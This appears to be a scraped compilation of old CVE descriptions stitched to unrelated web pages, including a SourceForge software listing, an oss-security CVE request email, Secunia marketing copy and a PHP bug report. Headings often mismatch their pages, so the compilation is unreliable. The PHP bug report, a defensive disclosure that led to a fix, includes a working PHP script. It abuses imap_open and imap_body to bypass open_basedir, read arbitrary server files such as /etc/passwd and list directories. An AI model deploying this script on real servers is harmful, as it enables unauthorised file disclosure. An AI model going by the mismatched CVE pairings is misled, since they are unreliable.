Multiple SQL injection vulnerabilities in FretsWeb 1.2 allow remote attackers to execute arbitrary SQL commands via the (1) name parameter to player.php and the (2) hash parameter to song.php.

CVE-2009-2113

Unspecified vulnerability in Octopussy before 0.9.5.8 has unknown impact and attack vectors related to a "major security" vulnerability.

*   Empower your remote team to plan projects, coordinate work remotely, and hit their goals with Asana.
    
*   In a few taps, bring together your deskless workforce under one roof. Collaborate, run operations, develop professional skills and monitor employee engagement and compliance from your desktop Launch Pad. Create your fully branded company mobile app in minutes. Choose from adding orientation courses, safety checklists, product catalogs for your service employees, shift management for your on-the-go workforce, or customize features for your own needs. Additionally, receive insights into how your team is engaging with your company assets and take action to improve efficiency. Connecteam allows managers to put processes on autopilot and focus on growth while freeing up employees to be more productive and happy.
    
*   1
    
    Integrates Eclipse with the SAP NetWeaver Application Server.
    
    **Downloads:** 759,610 This Week
    
    **Last Update:** 2016-07-20
    
    See Project
    
*   2
    
    **movistartv**
    
    Movistar+ Deco Virtual - Software decodificador
    
    Kodi Movistar+ TV es un ADDON para XBMC/ Kodi que permite disponer de un decodificador de los servicios IPTV de Movistar integrado en uno de los mediacenters mas populares. El proyecto no trata solo de replicar los servicios de televisión, sino un concepto diferente de servicios integrados donde la TV tenga un protagonismo central pero no el único y que permita tanto ver la TV como un video de youtube, disponer un catalogo de películas y música .. Autor: Victor M. Juidiaz Portilla (https://www.linkedin.com/in/victor-manuel-juidiaz-portilla-27bb48106) Foro "Oficial": http://www.kodimania.com/index.php?topic=860.0 Las principales funcionalidades de TV son: - Actualización automática de canales. - Guía de programación (EPG). - Grabaciones en la Nube y en local. - Últimos 7 días - Visualización de grabaciones en la nube. - Sincronización de grabaciones a local para evitar su caducidad. - Gestión avanzada de series. - Timeshift. - DLNA
    
    **Downloads:** 528,637 This Week
    
    **Last Update:** 2020-02-08
    
    See Project
    
*   3
    
    This project is the old location for the plugin list for Notepad++ Plugin Manager. Please use https://github.com/bruderstein/npppluginmanager for any issues and current code
    
    **Downloads:** 391,305 This Week
    
    **Last Update:** 2019-07-19
    
    See Project
    
*   4
    
    Free alternative for Office productivity tools: Apache OpenOffice - formerly known as OpenOffice.org - is an open-source office productivity software suite containing word processor, spreadsheet, presentation, graphics, formula editor, and database management applications. OpenOffice is available in many languages, works on all common computers, stores data in ODF - the international open standard format - and is able to read and write files in other formats, included the format used by the most common office suite packages. OpenOffice is also able to export files in PDF format. OpenOffice has supported extensions, in a similar manner to Mozilla Firefox, making easy to add new functionality to an existing OpenOffice installation.
    
    **Downloads:** 360,977 This Week
    
    **Last Update:** 2022-07-17
    
    See Project
    
*   Start with a tailored template for your projects and tasks, and build the workflow and process you need with the tools at your fingertips. ClickUp is the online solution to let your team get more done! Easily manage your team's tasks from anywhere in the modern world.
    
*   5
    
    An advanced and multi-platform BitTorrent client with a nice Qt user interface as well as a Web UI for remote control and an integrated search engine. qBittorrent aims to meet the needs of most users while using as little CPU and memory as possible.
    
    **Downloads:** 254,713 This Week
    
    **Last Update:** 6 days ago
    
    See Project
    
*   6
    
    • Designed for Linux and Windows email system administrators, Scrollout F1 is an easy to use, already adjusted email firewall (gateway) offering free anti-spam and anti-virus protection aiming to secure existing email servers, old or new, such as Microsoft Exchange, Lotus Domino, Postfix, Exim, Sendmail, Qmail and others. • Built-in multilayer security levels make configuration effort equal to a car radio. • It combines simplicity with effective protection using powerful open source with additional set of rules & filters. • Available as 64bit: - ISO image (Internet connection required during installation) - install from scratch (Internet connection required during installation). • Minimum Requirements (for 5,000 messages/day): 1 GB of RAM 30 GB storage drive 1 Processor x86/AMD64 1 Ethernet x 1 IPv4 address UDP ports: 53 123 4500 6277 24441 TCP ports: 25 80 443 2703
    
    **Downloads:** 179,370 This Week
    
    **Last Update:** 2018-04-08
    
    See Project
    
*   7
    
    **KeePass**
    
    A lightweight and easy-to-use password manager
    
    KeePass Password Safe is a free, open source, lightweight, and easy-to-use password manager for Windows, Linux and Mac OS X, with ports for Android, iPhone/iPad and other mobile devices. With so many passwords to remember and the need to vary passwords to protect your valuable data, it’s nice to have KeePass to manage your passwords in a secure way. KeePass puts all your passwords in a highly encrypted database and locks them with one master key or a key file. As a result, you only have to remember one single master password or select the key file to unlock the whole database. And the databases are encrypted using the best and most secure encryption algorithms currently known, AES and Twofish. See our features page for details.
    
    **Downloads:** 141,916 This Week
    
    **Last Update:** 2022-07-05
    
    See Project
    
*   8
    
    **TurboVNC**
    
    High-speed, 3D-friendly, TightVNC-compatible remote desktop software
    
    TurboVNC is a high-performance, enterprise-quality version of VNC based on TightVNC, TigerVNC, and X.org. It contains a variant of Tight encoding that is tuned for maximum performance and compression with 3D applications (VirtualGL), video, and other image-intensive workloads. TurboVNC, in combination with VirtualGL, provides a complete solution for remotely displaying 3D applications with interactive performance. TurboVNC's high-speed encoding methods have been adopted by TigerVNC and libvncserver, and TurboVNC is also compatible with any other TightVNC derivative. TurboVNC forked from TightVNC in 2004 and still covers all of the TightVNC 1.3.x features, but TurboVNC contains numerous feature enhancements and bug fixes relative to TightVNC, and it compresses 3D and video workloads much better than TightVNC while using generally only 5-20% of the CPU time of the latter. Using non-default settings, TurboVNC can also be made to compress 2D workloads as "tightly" as TightVNC.
    
    **Downloads:** 167,521 This Week
    
    **Last Update:** 2022-08-15
    
    See Project
    
*   9
    
    **scrcpy**
    
    Display and control your Android device
    
    scrcpy is an application for displaying and controlling your Android device through USB connection (or over TCP/IP). It is cross-platform (GNU/Linux, macOS and Windows) and does not require any root access. scrcpy displays only the device screen but offers great performance (30~60fps) and quality (1920×1080 or above). It’s got low latency (35~70ms) and a very low startup time (less than a second). It offers plenty of great features and is non-intrusive, with nothing left installed inside the device. scrcpy works with Android devices with at least API 21 (Android 5.0) and adb debugging must be enabled on the device.
    
    **Downloads:** 4,384 This Week
    
    **Last Update:** 2022-08-02
    
    See Project
    
*   Centralize all your work, processes, tools, and files into one Work OS. Connect teams, bridge silos, and maintain one source of truth across your organization.
    
*   10
    
    The Anti-Spam SMTP Proxy (ASSP) Server project aims to create an open source platform-independent SMTP Proxy server which implements auto-whitelists, self learning Hidden-Markov-Model and/or Bayesian, Greylisting, DNSBL, DNSWL, URIBL, SPF, SRS, Backscatter, Virus scanning, attachment blocking, Senderbase and multiple other filter methods. Click 'Files' to download the professional version 2.6.5 build 21218. A linux(ubuntu 18.04 LTS) and a freeBSD 11.2 based ready to run OVA of ASSP V2 are also available for download. NOTICE: V1 development has been stopped at the end of 2014 (1.10.1 build 16060). Possibly there will be done some bugfixing in future. Please upgrade to V2, which is and will be actively maintained.
    
    **Downloads:** 94,541 This Week
    
    **Last Update:** 2022-07-28
    
    See Project
    
*   11
    
    **Sweet Home 3D**
    
    An interior design application to draw house plans & arrange furniture
    
    Sweet Home 3D is an interior design application that helps you to quickly draw the floor plan of your house, arrange furniture on it, and visit the results in 3D.
    
    **Downloads:** 68,809 This Week
    
    **Last Update:** 3 days ago
    
    See Project
    
*   12
    
    **unitedrpms**
    
    Fast and open solution where everyone can help
    
    Join us in Gitter! https://gitter.im/unitedrpms-people/Lobby Enable the URPMS repository in your system - https://github.com/UnitedRPMs/unitedrpms.github.io/blob/master/README.md
    
    **Downloads:** 411,305 This Week
    
    **Last Update:** 2022-07-18
    
    See Project
    
*   13
    
    **libjpeg-turbo**
    
    SIMD-accelerated libjpeg-compatible JPEG codec library
    
    libjpeg-turbo is a JPEG image codec that uses SIMD instructions (MMX, SSE2, NEON, AltiVec) to accelerate baseline JPEG compression and decompression on x86, x86-64, ARM, and PowerPC systems. On such systems, libjpeg-turbo is generally 2-6x as fast as libjpeg, all else being equal. On other types of systems, libjpeg-turbo can still outperform libjpeg by a significant amount, by virtue of its highly-optimized Huffman coding routines. In many cases, the performance of libjpeg-turbo rivals that of proprietary high-speed JPEG codecs. libjpeg-turbo implements both the traditional libjpeg API as well as the less powerful but more straightforward TurboJPEG API. libjpeg-turbo also features colorspace extensions that allow it to compress from/decompress to 32-bit and big-endian pixel buffers (RGBX, XBGR, etc.), as well as a full-featured Java interface.
    
    **Downloads:** 75,567 This Week
    
    **Last Update:** 2022-08-12
    
    See Project
    
*   14
    
    VirtualGL redirects 3D commands from a Unix/Linux OpenGL application onto a server-side GPU and converts the rendered 3D images into a video stream with which remote clients can interact to view and control the 3D application in real time.
    
    **Downloads:** 66,167 This Week
    
    **Last Update:** 2022-05-16
    
    See Project
    
*   15
    
    **mscorefonts2**
    
    Updated Smart package of Microsoft Core fonts for the Web
    
    Here you'll find rpms to install Microsoft's Core fonts for the Web, the EU update and the ClearType fonts. The fonts are Andale, Arial, Calabri, CAmbria, Candara, Consolas, Constantia, Corbel, Comic, Courier, Georgia, Impact, Times Trebuchet, Verdana and Webdings. The original cab files circa 2000 are on the sourceforge corefonts probject, while this project holds updates circa 2006, and the Cleartype fonts circa 2007. See https://sourceforge.net/projects/corefonts/ and https://sourceforge.net/projects/mscorefonts/ The rpms here do not contain the truetype fonts, instead the cabfiles are downloaded and unpacked at install time. The fonts are then added or made known to the X core fonts and Xft systems. Credit goes to the original author of corefonts, Noa Resare, and the numerous netizens who updated the spec file over the years. See the specs and changelog for more history.
    
    **Downloads:** 111,995 This Week
    
    **Last Update:** 2013-05-30
    
    See Project
    
*   16
    
    Code::Blocks is a free, open-source, cross-platform C, C++ and Fortran IDE built to meet the most demanding needs of its users. It is designed to be very extensible and fully configurable. Finally, an IDE with all the features you need, having a consistent look, feel and operation across platforms. Built around a plugin framework, Code::Blocks can be extended with plugins. Any kind of functionality can be added by installing/coding a plugin. For instance, compiling and debugging functionality is already provided by plugins! We hope you enjoy using Code::Blocks! The Code::Blocks Team
    
    **Downloads:** 62,383 This Week
    
    **Last Update:** 1 day ago
    
    See Project
    
*   17
    
    **PINN**
    
    PINN is an enhancement of NOOBS
    
    PINN is an enhancement of NOOBS for the Raspberry Pi. It allows the installation of MULTIPLE OSes on the same SD/HDD/SSD device with an OS chooser when booting. Built-in Admin tools allow you to backup & restore your OSes and fix OS problems by including basic disk checking, password changing, and a command shell.
    
    **Downloads:** 59,036 This Week
    
    **Last Update:** 2022-04-12
    
    See Project
    
*   18
    
    **Webmin**
    
    A web-based interface for system administration of UNIX
    
    A web-based system administration tool for Unix servers and services. https://github.com/webmin/webmin
    
    **Downloads:** 47,689 This Week
    
    **Last Update:** 2022-08-22
    
    See Project
    
*   19
    
    FreeType is written in C. It is designed to be small, efficient, and highly customizable while capable of producing high-quality output (glyph images) of most vector and bitmap font formats for digital typography. FreeType is a freely available and portable software library to render fonts.
    
    **Downloads:** 49,994 This Week
    
    **Last Update:** 2022-05-01
    
    See Project
    
*   20
    
    **Info-ZIP project**
    
    Info-ZIP portable compression/archiver utilities (Zip, UnZip, WiZ, etc.)
    
    **Downloads:** 48,456 This Week
    
    **Last Update:** 2021-04-08
    
    See Project
    
*   21
    
    **PSeInt**
    
    A tool for learning programming basis with a simple spanish pseudocode
    
    PSeInt is a pseudo-code interpreter for spanish-speaking programming students. Its main purpose is to be a tool for learning and understanding the basic concepts about programming and applying them with an easy understanding spanish pseudocode.
    
    **Downloads:** 47,556 This Week
    
    **Last Update:** 2022-07-19
    
    See Project
    
*   22
    
    **Tor Browser**
    
    Browser for using Tor on Windows, Mac OS X or Linux
    
    Tor Browser enables you to use Tor on Windows, Mac OS X, or Linux without needing to install any software. Tor is a software that bounces your communications around a distributed network of relays run by volunteers. This effectively prevents anyone watching your Internet connection from learning what sites you visit; it prevents the sites you visit from learning your physical location; and allows you access to sites which are blocked. Tor Browser can run off a USB flash drive, comes with a pre-configured web browser to protect your anonymity, and is self-contained (portable).
    
    **Downloads:** 1,830 This Week
    
    **Last Update:** 2022-08-09
    
    See Project
    
*   23
    
    **XAMPP**
    
    An easy to install Apache distribution containing MySQL, PHP, and Perl
    
    XAMPP is a very easy to install Apache Distribution for Linux, Solaris, Windows, and Mac OS X. The package includes the Apache web server, MySQL, PHP, Perl, a FTP server and phpMyAdmin.
    
    **Downloads:** 36,833 This Week
    
    **Last Update:** 2022-06-15
    
    See Project
    
*   24
    
    **TGM Gaming Macro**
    
    Lets you have a macro mouse n keyboard functionally with ordinary one.
    
    TGM is a gaming macro that lets you have a macro mouse and keyboard functionally with ordinary one. You can create or record multiple macros and assign them to any key combinations to trigger and loop them when you need how you need. TGM is made for gamers but it's capable of so much more. So you can use it for daily tasks as well. For any question, bug report or feature request feel free to visit forum tab. Note: To simulate arrow keys you might need to turn off NumLock. VirusTotal Result: https://www.virustotal.com/gui/file/29cf266079de80dac853d1d7c5d4c83eadb1d6f9cd8733605414d66413fba31d/detection VirusTotal shows too many false positives. but since this an open source project, you can download the source and build yourself. https://github.com/trksyln/TGMacro
    
    **Downloads:** 43,242 This Week
    
    **Last Update:** 2021-06-15
    
    See Project
    
*   25
    
    **Etcher**
    
    A safe way to flash OS images to SD cards & USB drives
    
    Etcher is a powerful OS image flasher. It protects a user from accidentally overwriting hard-drives by making drive selection obvious; and with validated flashing there is no more writing images to corrupted drives. It is also called balenaEtcher since it is developed by balena. In addition, Etcher can flash directly Raspberry Pi devices that support usbboot. Use for .iso and .img files, as well as zipped folders to create live SD cards and USB flash drives. Written with Electron for cross platform use (windows, macOS, and Linux).
    
    **Downloads:** 1,329 This Week
    
    **Last Update:** 2022-06-16
    
    See Project

CVE-2008-6566: Best Open Source Mac Software 2022

Untrusted search path vulnerability in the PySys_SetArgv API function in Python 2.6 and earlier, and possibly later versions, prepends an empty string to sys.path when the argv[0] argument does not contain a path separator, which might allow local users to execute arbitrary code via a Trojan horse Python file in the current working directory.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[thread-next>\] \[day\] \[month\] \[year\] \[list\]

Date: Mon, 26 Jan 2009 15:26:30 +0100
From: Jan Lieskovsky <jlieskov@...hat.com>
To: "Steven M. Christey" <coley@...us.mitre.org>
Cc: oss-security@...ts.openwall.com
Subject: CVE request -- Python < 2.6 PySys\_SetArgv issues (epiphany,
	csound, dia, eog, gedit, xchat, vim, nautilus-python, Gnumeric)

Hello Steve,

  initially CVE-2008-4863 has been assigned for the Blender's 
untrusted search path issue.

Though this is a Python flaw (insertion of cwd at the
beginning of the Python modules search path), according to our Python
maintainers it can't be fixed on Python's side due the need
of ensuring the work of other numerous packages, when loading
Python modules. 

Similar flaw, like the Blender one, has been discovered in
the following packages:

1, epiphany
References: 
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504363
https://bugzilla.redhat.com/show\_bug.cgi?id=481548
http://www.nabble.com/Bug-484305%3A-bicyclerepair%3A-bike.vim-imports-untrusted-python-files-from-cwd-td18848099.html (test case, 
mention about other affected packages, Python upstream bug rejection reasons)
Debian patch:
http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=5;filename=sanitize\_sys.path.diff;att=1;bug=504363

2, csound
References:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504359
https://bugzilla.redhat.com/show\_bug.cgi?id=481550
http://www.nabble.com/Bug-484305%3A-bicyclerepair%3A-bike.vim-imports-untrusted-python-files-from-cwd-td18848099.html
Debian patch: 
http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=5;filename=1004-sanitize-sys.path.diff;att=1;bug=504359

3, dia
References:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504251
https://bugzilla.redhat.com/show\_bug.cgi?id=481551
http://www.nabble.com/Bug-484305%3A-bicyclerepair%3A-bike.vim-imports-untrusted-python-files-from-cwd-td18848099.html
Debian patch: 
http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=5;filename=pythonpath.diff;att=1;bug=504251

4, eog
References:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504352
https://bugzilla.redhat.com/show\_bug.cgi?id=481553
http://www.nabble.com/Bug-484305%3A-bicyclerepair%3A-bike.vim-imports-untrusted-python-files-from-cwd-td18848099.html
Debian patch:
http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=5;filename=02\_sanitize\_sys.path.patch;att=1;bug=504352

5, gedit
References:
https://bugzilla.redhat.com/show\_bug.cgi?id=481556
http://www.nabble.com/Bug-484305%3A-bicyclerepair%3A-bike.vim-imports-untrusted-python-files-from-cwd-td18848099.html

6, xchat
References:
https://bugzilla.redhat.com/show\_bug.cgi?id=481560
http://www.nabble.com/Bug-484305%3A-bicyclerepair%3A-bike.vim-imports-untrusted-python-files-from-cwd-td18848099.html

7, vim
References:
https://bugzilla.redhat.com/show\_bug.cgi?id=481565
http://www.nabble.com/Bug-484305%3A-bicyclerepair%3A-bike.vim-imports-untrusted-python-files-from-cwd-td18848099.html

8, nautilus-python
References:
https://bugzilla.redhat.com/show\_bug.cgi?id=481570
http://www.nabble.com/Bug-484305%3A-bicyclerepair%3A-bike.vim-imports-untrusted-python-files-from-cwd-td18848099.html

9, Gnumeric
References:
https://bugzilla.redhat.com/show\_bug.cgi?id=481572
http://www.nabble.com/Bug-484305%3A-bicyclerepair%3A-bike.vim-imports-untrusted-python-files-from-cwd-td18848099.html

Steve, could you please allocate a new CVE ids for the above issues?

Thanks, Jan.
--
Jan iankko Lieskovsky / Red Hat Security Response Team

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2008-5983: oss-security - CVE request -

Samba 3.2.0 uses weak permissions (0666) for the (1) group_mapping.tdb and (2) group_mapping.ldb files, which allows local users to modify the membership of Unix groups.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

CVE-2008-3789: security - CVE Request (samba)

Directory traversal vulnerability in wp-admin/admin.php in the DMSGuestbook 1.8.0 and 1.7.0 plugin for WordPress allows remote authenticated users to read arbitrary files via a .. (dot dot) in the (1) folder and (2) file parameters.

CVE-2008-0615

Cross-site scripting (XSS) vulnerability in dms/policy/rep_request.php in F5 BIG-IP Application Security Manager (ASM) 9.4.3 allows remote attackers to inject arbitrary web script or HTML via the report_type parameter.

Privacy Statement Terms & Conditions Cookie Policy Accessibility Statement Do Not Sell My Personal Information (for CA)

© 2021 Accenture. All Rights Reserved.

CVE-2008-0539: Bugtraq

SQL injection vulnerability in fim_rss.php in the fGallery 2.4.1 plugin for WordPress allows remote attackers to execute arbitrary SQL commands via the album parameter.

CVE-2008-0491

Multiple cross-site request forgery (CSRF) vulnerabilities in wp-contact-form/options-contactform.php in the WP-ContactForm 1.5 alpha and earlier plugin for WordPress allow remote attackers to perform actions as administrators via the (1) wpcf_question, (2) wpcf_success_msg, or (3) wpcf_error_msg parameter to wp-admin/admin.php.

CVE-2008-0198

Cross-site scripting (XSS) vulnerability in index.php in the Blue Memories theme 1.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the s parameter, possibly a related issue to CVE-2007-2757 and CVE-2007-4014.  NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.

Image

Featured Details

**Multiple ways to consume Secunia Research**

Secunia delivers software security research that provides reliable, curated and actionable vulnerability intelligence. Organizations can expect to receive standardized, validated and enriched vulnerability research on a specific version of a software product. Secunia Research supports four solutions:

SVG

**Data Platform**

Data Platform leverages Secunia Research to provide high-level insights based on major or minor versions of software in your normalized inventory

Learn More

SVG

**Flexera One**

Flexera One utilizes Secunia Research (alongside public NVD data) to provide more granular matching of build-level versions of software in your normalized inventory within its IT Asset Management and IT Visibility solutions

Learn More

How it works

**Accurate, reliable vulnerability insights at your fingertips**

The Secunia Research team from Flexera is comprised of several security specialists who conduct vulnerability research in various products in addition to testing, verifying and validating public vulnerability reports. Since its inception in 2002, the goal of the Secunia Research team is to provide the most accurate and reliable source of vulnerability intelligence.

Delivering the world’s best vulnerability intelligence requires skill and passion. Team members continually develop their skills exploring various high-profile closed and open-source software using a variety of approaches, focusing chiefly on thorough code audits and binary analysis. The team has received industry recognition, including naming members to Microsoft’s Most Valuable Security Researchers list.

Secunia researchers discover hard-to-find vulnerabilities that aren’t normally identified with techniques such as fuzzing, and the results have been impressive. Members of the Secunia Research team have discovered critical vulnerabilities in products from vendors including Microsoft, Symantec, IBM, Adobe, RealNetworks, Trend Micro, HP, Blue Coat, Samba, CA, Mozilla and Apple.

The team produces invaluable security advisories based on research of the vulnerabilities affecting any given software update. Sometimes a single update can address multiple vulnerabilities of varying criticalities and threats; but these advisories aggregate and distill findings down to a single advisory perfect for the prioritization of patching efforts within Software Vulnerability Manager. Criticality scores are consistently applied along with details around attack vector and other valuable details within Software Vulnerability Research. Illegitimate vulnerability reports are also investigated and rejected so you can focus only on what truly matters.

CVE-2007-4165: About Secunia Research | Flexera

The imap_body function in PHP before 4.4.4 does not implement safemode or open_basedir checks, which allows local users to read arbitrary files or list arbitrary directory contents.

Bug #37265

imap\_body able to bypass php\_openbasedir

Submitted:

2006-05-01 17:02 UTC

Modified:

2006-08-04 20:34 UTC

Votes:

3

Avg. Score:

4.7 ± 0.5

Reproduced:

3 of 3 (100.0%)

Same Version:

2 (66.7%)

Same OS:

2 (66.7%)

From:

Challii at btinternet dot com

Assigned:

iliaa (profile)

Status:

Closed

Package:

IMAP related

PHP Version:

5.1.3, 4.4.2

OS:

RHE3

Private report:

No

CVE-ID:

_None_

 **\[2006-05-01 17:02 UTC\] Challii at btinternet dot com**

Description:
------------
Vulnerability in c-client library (tested with versions 2000,2001,2004), mail\_open
could be used to open stream to local files.

For php and imap module

imap\_open allow to bypass safemode and open\_basedir restrictions.
Use imap\_body or others to view a file and imap\_list to recursively list a directory.

s/mailbox/file :)
imap\_createmailbox
imap\_deletemailbox
imap\_renamemailbox
to create,delete,rename files with apache privileges.

Reproduce code:
---------------

##### code #####

<form action="" method="post">
<select name="switch">
<option selected="selected" value="file">View file</option>
<option value="dir">View dir</option>
</select>
<input type="text" size="60" name="string">
<input type="submit" value="go">
</form>

<?php
$string = !empty($\_POST\['string'\]) ? $\_POST\['string'\] : 0;
$switch = !empty($\_POST\['switch'\]) ? $\_POST\['switch'\] : 0;

if ($string && $switch == "file") {
$stream = imap\_open($string, "", "");
if ($stream == FALSE)
die("Can't open imap stream");

$str = imap\_body($stream, 1);
if (!empty($str))
echo "<pre>".$str."</pre>";
imap\_close($stream);
} elseif ($string && $switch == "dir") {
$stream = imap\_open("/etc/passwd", "", "");
if ($stream == FALSE)
die("Can't open imap stream");

$string = explode("|",$string);
if (count($string) > 1)
$dir\_list = imap\_list($stream, trim($string\[0\]), trim($string\[1\]));
else
$dir\_list = imap\_list($stream, trim($string\[0\]), "\*");
echo "<pre>";
for ($i = 0; $i < count($dir\_list); $i++)
echo "$dir\_list\[$i\]\\n";
echo "</pre>";
imap\_close($stream);
}
?>

################

Expected result:
----------------
That the file could not be accessed due to a security permission

Actual result:
--------------
The ability to see any file on the server.

**Patches**

Add a Patch

**Pull Requests**

Add a Pull Request

**History**

AllCommentsChangesGit/SVN commitsRelated reports

 **\[2006-05-01 19:28 UTC\] judas dot iscariote at gmail dot com**

a PHP dev can correct me if Im wrong, but this is not a PHP bug.

if the mail\_open() function of the c-client library allows to read arbitrary files on the server, it's not precisely a PHP problem right ?

php extension can do what the underlying library API permits.

 **\[2006-05-02 18:46 UTC\] challii at btinternet dot com**

The underlying system has to be able to access different files based on the overlying system configuration and where mailboxes are etc.

The problem lies in the fact that the imap\_body doesn't adhere to the php\_openbasedir restrictions.

 **\[2006-08-04 20:34 UTC\] iliaa@php.net**

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Tag

#php